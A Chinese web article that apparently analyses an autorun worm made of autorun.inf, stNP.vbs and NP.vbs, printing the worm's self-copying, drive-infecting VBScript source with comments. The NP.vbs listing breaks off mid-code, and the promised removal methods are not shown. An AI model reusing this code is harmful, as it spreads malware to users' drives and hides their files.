最新恶意复制型病毒autorun.inf，stNP.VBS，NP.VBS代码简单解析和解决

最新恶意复制型病毒autorun.inf，stNP.VBS，NP.VBS
及代码分析与病毒处理两种方法

方法一：来自于指间轻舞

此病毒最大的特点在于中毒后，自动感染你的硬盘根目录，并复制病毒文件。无论你是采用双击，还是右键选择打开，或者运行资源管理器都会自动运行其代码（病毒），所以中此病毒后，新手往往打不开盘符，导致数据无法读取。

下面是病毒的代码分析文件总共有三个都很简单，已经加上了注解。

文件名：autorun.inf
复制代码代码如下:

[autorun]
open=
shell/open=打开(&O)
shell/open/Command=WScript.exe stNP.vbs
shell/open/Default=1
shell/explore=资源管理器(&X)
shell/explore/Command=WScript.exe stNP.vbs

文件名：stNP.VBS
功能是检测np.vbs是否存在,存在则运行
复制代码代码如下:

on error resume next
set fso = CreateObject("Scripting.FileSys"&"temObject")
if fso.FileExists("NP.vbs") = -1 then
if fso.FileExists("d:/NP.vbs") = -1 then
set f = fso.getfile("d:/NP.vbs")
if f.attributes = 0 then
else
f.attributes = 0
end if
f.delete(true)
end if
fso.copyfile "NP.vbs", "d:/NP.vbs", true
set wshshell = wscript.createobject("WScript.Shell")
wshshell.run "d:/NP.vbs"
end if

文件名：NP.VBS
-----
复制代码代码如下:

'[NatruePark]
'容错语句
on Error resume next
'变量声明及初始化
dim fso, old_drs(), new_drs(), old_n, new_n, new_yn, wshshell
set fso = CreateObject("Scripting.File"&"SystemObject")
set wshshell = wscript.createobject("WScript.Shell")
old_n=0
redim old_drs(old_n)
old_drs(0)="C"

'[主体部分]
wshshell.run("explorer ./")
dim i
i = 0
do while i>=0 and i<8*360
    scan_disk()
    if judge_new_disk() = 1 then
        dim left_n
        left_n = 1
        do while left_n<=(new_n-old_n)
            new_disk = new_drs(left_n+old_n)&":/"
'-----------------<维护块>-----------------
            if fso.FileExists(new_disk&"NP.vbs") = -1 then
            else
                self_copy(new_disk)
            end if
            add_attrib(new_disk&"NP.vbs")
            if fso.FileExists(new_disk&"autorun.inf") = -1 then
                del_attrib(new_disk&"autorun.inf")
            end if
                add_autorun(new_disk)

上一篇：用vbs实现取消隐藏文件夹中的所有文件

下一篇：用vbs实现随机读取文件的一行内容的脚本

发表评论

共有条评论